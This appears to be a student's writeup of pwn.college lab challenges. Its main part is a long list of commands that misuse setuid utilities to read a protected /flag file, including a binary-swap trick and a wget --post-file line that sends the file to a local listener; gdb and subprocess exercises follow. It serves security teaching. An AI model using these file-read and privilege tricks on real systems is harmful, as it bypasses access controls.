pwn.college writeup
Premise
- Personal solutions, that is saying maybe not the best.
- The sequence number of each section is the challenge number. CORRESPONDING.
X.
=>section_name levelX
- Because the required random value of each user is different, so using
${random}
key word instead of detailed value.${random_key}
is the key.${random_value}
is the corresponding value.- etc.
- When first enter a new challenge, maybe need to execute the level program purely to get the specifically random value before coding any solutions.
- The order number is the corresponding challenge number, however, in some certain semester, both are not same, readers should looking for the order number which locates in head of each line under solutions section.
Fundamentals
Program Misuse
Solutions
-
cat /flag
-
more /flag
-
less /flag
-
tail /flag
-
head /flag
-
sort /flag
-
vim /flag
-
emacs /flag
-
nano /flag
-
rev /flag | rev
-
od -c -w1024 /flag | awk -F" " -v OFS='' '{$1="";print $0}'
orod -c -w1024 /flag | sed -Ee 's/[0-9]{7}//;s/ //g'
man od
orod --help
can peek the usage ofod
-c
same as-t c
, select printable characters or backslash escapes-w[BYTES]
,--width[=BYTES]
, output BYTES bytes per output line; 32 is implied when BYTES is not specified
awk
is a column based data filter-F
,--field-separator fs
, set theFS
variable tofs
, usingfs
to split input content, so here isspace
-v var=val
,--assign var=val
, set the variablevar
to the valueval
before execution of the program begins.OFS
is output-field-separator, so here usingnull
to reformat the output'{$1="";print $0}'
is the command- First, let the first column be
null
- Second, print all the columns
- First, let the first column be
sed
is a stream editor-E
, use extended regular expressions-e
, execute multiplesed
commands's/[0-9]{7}//;s/ //g'
s/[0-9]{7}//
delete the offset address displayed numbers/ //g
delete all the whitespaces
-
hd /flag | awk '{print $(NF)}' | tr -d '\n' | sed -Ee 's/\|//g;s/\.[0-9]{8}/\n/'
awk
part- use the last column
tr
, translate, squeeze, and/or delete characters- remove all the
Enter(\n)
- remove all the
sed
part- delete all the
|
characters - transform all
.XXXXXXXX
pattern (X
is one number) into aEnter(\n)
- delete all the
-
xxd /flag | awk '{print $(NF)}' | tr -d '\n' | sed 's/\.$/\n/'
-
base32 /flag | base32 -d
-
base64 /flag | base64 -d
-
split /flag | cat ./xaa
-
gzip -c /flag | zcat
-
bzip2 -c /flag | bzcat
-
zip - /flag | zcat
-
tar -cvf - /flag | cat
-
ar -rvs ~/tmp.a /flag; ar -x ~/tmp.a flag; cat flag # then remove files rm -rf tmp.a flag
-
echo "/flag" | cpio -ov > flag.cpio && cat flag.cpio
-
EXTREMELY HARD
genisoimage -sort /flag -o - /flag
genisoimage --help 2>&1 | grep FILE
-
env -i cat /flag
-
find / -maxdepth 1 -name flag -exec cat {} \;
-
echo -e "ans: /flag\n\tcat /flag" > Makefile && make
-
nice cat /flag
-
timeout 1000 cat /flag
-
stdbuf -o L cat /flag
-
setarch x86_64 -v cat /flag
-
watch -x cat /flag
-
socat - /flag
-
whiptail --textbox /flag 20 60
-
awk '{print $0}' /flag
-
sed -n 'p' /flag
-
ed /flag . q
-
chown -v hacker /flag && cat /flag
-
chmod 444 /flag && cat /flag
-
cp -v --no-preserve=all /flag ./flag && cat ./flag && rm -rf ./flag
-
HARD
/challenge/babysuid_level40 && mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag
- This level's solution is pretty tricky
- The level said it had set the
suid
formv
after we executed it. So remember, it set thesuid
just for a program calledmv
.mv
is just a name, no matter what it is in its core logic. That is saying we can replace it with others. - Here we just rename
cat
tomv
, and covered the originalmv
program, then execute level program to get thesuid
privilege for presentmv
program (However, in core logic, it'scat
program) - Finally, 'cat' it, but our command should be
mv /flag
-
perl -e 'open(FILE,"</flag");$line=<FILE>;foreach ($line){print $_;}'
-
python -c 'print(open("/flag").read())'
-
echo 'puts File.read("/flag")' > test.rb && /usr/bin/ruby test.rb && rm -rf test.rb
-
bash -p cat /flag
- HARD
- Recommend source: bash suid
-
date -f /flag
-
dmesg -F /flag
-
wc --files0-from=/flag
-
HARD
gcc -x assembler /flag
-
as @/flag
-
HARD
wget -bv --post-file=/flag 127.0.0.1:3864 | nc -vl 127.0.0.1 3864
- DO NOT use the
-i
option, it turns all theflag
letters to lowercase because of theurl
encoding rule.
- DO NOT use the
-
TODO
Confusing Question Numbers
- 17
- 20 ( really confused )
Program Interaction
Solutions
-
Execute directly.
-
Input
${random}
. -
/challenge/embryoio_level3 ${random}
-
export ${random_key}=${random_value} /challenge/embryoio_level4
-
vim /tmp/${random_filename} # input: ${random} # or # use sed/echo to input without interaction. /challenge/embryoio_level5 < /tmp/${random_input_filename}
-
/challenge/embryoio_level6 > /tmp/${random_output_filename} cat /tmp/${random_output_filename}
-
env -i /challenge/embryoio_level7
-
echo "/challenge/embryoio_level8" > ./tmp.sh bash tmp.sh
-
echo "/challenge/embryoio_level9" > ./tmp.sh bash tmp.sh # input: ${random}
-
echo "/challenge/embryoio_level10 ${random}" > ./tmp.sh bash tmp.sh
-
echo -e "export ${random_key}=${random_value}\n/challenge/embryoio_level11" > ./tmp.sh bash tmp.sh
-
echo -e "echo '${random}' > /tmp/${random_input_filename}\n/challenge/embryoio_level12 < /tmp/${random_input_filename}" > ./tmp.sh bash tmp.sh
-
echo -e "/challenge/embryoio_level13 > /tmp/${random_output_filename}\ncat /tmp/${random_output_filename}" > ./tmp.sh bash tmp.sh
-
echo "env -i /challenge/embryoio_level14" > ./tmp.sh bash tmp.sh
-
ipython import subprocess subprocess.Popen("/challenge/embryoio_level15")
-
ipython import subprocess subprocess.run("/challenge/embryoio_level16") ${random}
-
ipython import subprocess subprocess.run(["/challenge/embryoio_level17","${random}"])
-
ipython import os,subprocess os.environ["${random_key}"] = "${random_value}" subprocess.run("/challenge/embryoio_level18")
-
echo "${random}" > /tmp/${random_input_filename} ipython import subprocess subprocess.run("/challenge/embryoio_level19",stdin=open("/tmp/${random_input_filename}"))
-
ipython import subprocess subprocess.run(["touch /tmp/${random_output_filename}"],shell=True) subprocess.run("/challenge/embryoio_level20",stdout=open("/tmp/${random_output_filename}","w"))
-
ipython import subprocess subprocess.run("/challenge/embryoio_level21",env=dict())
-
echo -e "import subprocess\n\ subprocess.run('/challenge/embryoio_level22')" > tmp.py python tmp.py
-
echo -e "import subprocess\n\ subprocess.run('/challenge/embryoio_level23')" > tmp.py python tmp.py ${random}
-
echo -e "import subprocess\n\ subprocess.run(['/challenge/embryoio_level24','${random}'])" > tmp.py python tmp.py
-
echo -e "import os,subprocess\n\ os.environ['${random_key}'] = '${random_value}'\n\ subprocess.run('/challenge/embryoio_level25')\ " > tmp.py python tmp.py
-
echo -e "import subprocess\n\ subprocess.run(['echo edlmbfok > \ /tmp/${random_input_filename}'],shell=True)\n\ subprocess.run('/challenge/embryoio_level26',\ stdin=open('/tmp/${random_input_filename}'))\ " > tmp.py python tmp.py
-
echo -e "import subprocess\n\ subprocess.run(['touch /tmp/${random_output_filename}'],shell=True)\n\ subprocess.run('/challenge/embryoio_level27',\ stdout=open('/tmp/${random_output_filename}','w'))\ " > tmp.py python tmp.py cat /tmp/${random_output_filename}
-
echo -e "import subprocess\n\ subprocess.run('/challenge/embryoio_level28',env=dict())\ " > tmp.py python tmp.py
-
vim tmp.c # input content vim tmp.sh # input content # or # using "echo -e 'gcc ~/tmp.c -o ~/tmp\n~/tmp' > tmp.sh" instead. bash tmp.sh
- tmp.c (Template for all levels about c below) :
#include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <stdlib.h> #include <string.h> #include <stdio.h> void pwncollege(){ return; } int main(int argc,char *argv[]){ pid_t pid = fork(); if(pid < 0){ exit(-1); }else if(pid == 0){ execl("/challenge/embryoio_level29","embryoio_level29",NULL) }else{ waitpid(pid,NULL,0); } return 0; }
- tmp.sh
gcc ~/tmp.c -o ~/tmp ~/tmp
-
# the same as level29. # need to modify tmp.c to correct "level29" into "level30". # into vim, and input: :s/29/30/g # then execute the bash script: bash tmp.sh # input the specifically value ${random}
-
:s/30/31/g # modify tmp.c: execl("/challenge/embryoio_level31","embryoio_level31",${random},NULL) # continue the flow bash tmp.sh
-
:s/31/32/g # modify tmp.c to add one line above the execl() funtion: putenv("${random_key}=${random_value}"); # continue the flow bash tmp.sh
-
echo "${random}" > /tmp/${random_input_filename} # modify tmp.c to add one line above the execl() funtion: freopen("/tmp/${random_input_filename}","r",stdin); # correct the level number :s/32/33/g # continue the flow bash tmp.sh
-
# modify tmp.c to add one line above the execl() funtion: freopen("/tmp/${random_output_filename}","w",stdout); # correct the level number :s/33/34/g # continue the flow bash tmp.sh cat /tmp/${random_output_filename}
-
:s/34/35/g # modify tmp.sh at second line to below: env -i ~/tmp # continue the flow bash tmp.sh
-
/challenge/embryoio_level36 | cat
-
/challenge/embryoio_level37 | grep pwn
-
/challenge/embryoio_level38 | sed b
-
/challenge/embryoio_level39 | rev | rev
-
cat | /challenge/embryoio_level40
then input${random}
-
for (( i=0; i<90000; i=i+1 )); do echo -e "${random_reversed}" >> huge.txt; done && rev huge.txt | /challenge/embryoio_level41
-
bash tmp.sh
- tmp.sh
set -Eeuxo pipefail /challenge/embryoio_level42 | cat
-
# tmp.sh /challenge/embryoio_level43 | grep pwn # execute bash tmp.sh
-
# tmp.sh /challenge/embryoio_level44 | sed b # execute bash tmp.sh
-
# tmp.sh /challenge/embryoio_level45 | rev | rev # execute bash tmp.sh
-
# tmp.sh cat | /challenge/embryoio_level46 # execute bash tmp.sh
-
# tmp.sh for (( i=0; i<20000; i=i+1 )); do echo -e "${random_reversed}" >> huge.txt done rev huge.txt | /challenge/embryoio_level47 # execute echo "${random_reversed}" > huge.txt bash tmp.sh
Confusing Question Numbers
- 7
- 15
- 21
TODO
- Use
sed
to replace all the interaction steps (vim
etc. ).
Assembly Crash Course
TODO
Debugging Refresher
-
r c
run
to start a program, with no breakpoint set.r
for short.start
to start a program, with a breakpoint set onmain
.starti
to start a program, with a breakpoint set on_start
.attach <PID>
to attach to some other already running program.core <PATH>
to analyze the core dump of an already run program.continue
to continue program execution.c
for short.
-
r p/x $r12 # copy the value of $r12 c
info registers
to see the values of all registers.print
to print a particular (register's) value.p
for short.print $rdi
(in Decimal)p/x $rdi
(in Hexadecimal)
-
r x/8gx $rsp c x/8gx $rsp # copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same) c # paste the value
x/<n><u><f> <address>
to examine the contents of memory.<n>
is the number of elements to display.<u>
is the unit size to display.b
(1 byte)h
(2 bytes)w
(4 bytes)g
(8 bytes)
<f>
is the format to display it in.d
(decimal)x
(hexadecimal)s
(string)i
(instruction)
<address>
can be specified using a register name, symbol name, or absolute address.- supply mathematical expressions when specifying the address.
- examples
x/8i $rip
: print the next 8 instructions from the current instruction pointer.x/16i main
: print the first 16 instructions of main.disassemble main
: print all of the instructions of main.disas main
for short.x/16gx $rsp
: print the first 16 values on the stack.x/gx $rbp-0x32
: print the local variable stored there on the stack.
set disassembly-flavor intel
: set INTEL assembly syntax.
-
r x/8gx $rsp ni 18 x/8gx $rsp # copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same) ni 36 # paste x/8gx $rsp # copy the changed value ni 38 # paste x/8gx $rsp # copy the changed value ni 38 # paste x/8gx $rsp # copy the changed value ni 38 # paste
stepi <n>
to step forward one instruction.si <n>
for short.nexti <n>
to step forward one instruction, while stepping over any function calls.ni <n>
for short.<n>
parameter is optional, but allows you to perform multiple steps at once.finish
command in order to finish the currently executing function.
break *<address>
to set a breakpoint at the specified-address.display/<n><u><f>
is the same as thex/<n><u><f>
.layout regs
: puts gdb into its TUI mode and shows the contents of all of the registers, as well as nearby instructions.
-
# 1. Write a `gdb` script file, named ${filename}.gdb # 2. Run command `/challenge/embryogdb_level5 -x {filename}.gdb` (in home directory) # 3. Get the flag # NOTE: Some versions perhaps have corresponding explanation, which provide my thought of solving the challenge # latest version TODO
- first version (it works)
start break scanf@plt continue break *main+818 command set $rdx = $rax end continue continue continue continue continue continue continue continue continue
- example.gdb
start break *main+42 commands silent set $local_variable = *(unsigned long long*)($rbp-0x32) printf "Current value: %llx\n", $local_variable continue end continue
-x <PATH_TO_SCRIPT>
: gdb will execute all of the gdb commands after gdb launches.- filename usually is
example_filename.gdb
.
- filename usually is
-ex '<COMMAND>'
: execute individual commands, also can pass multiple commands with multiple-ex
arguments.~/.gdbinit
: some commands that always executed for any gdb session.- In general,
set disassembly-flavor intel
can be in there.
- In general,
silent
indicates that we want gdb to not report that we have hit a breakpoint, to make the output a bit cleaner.
Intro to Cybersecurity
Talking Web
Premise
In each level, before taking any operation, we must let the server run. However, after we run it, the current terminal can NOT type other commands. So we need a terminal multiplexer in order to input final command that can get the flag
of each level.
As for the terminal multiplexer, I use tmux
, readers can also use others (i.e. sceen
).
So, follow these steps as precondition.
tmux new -s work
/challenge/babyhttp
Solutions
curl 127.0.0.1
Building a Web Server
Intercepting Communication
Cryptography
Web Security
Program Security
Shellcode Injection
Reverse Engineering
Memory Errors
Program Exploitation
System Security
Introduction
No challenges in this module.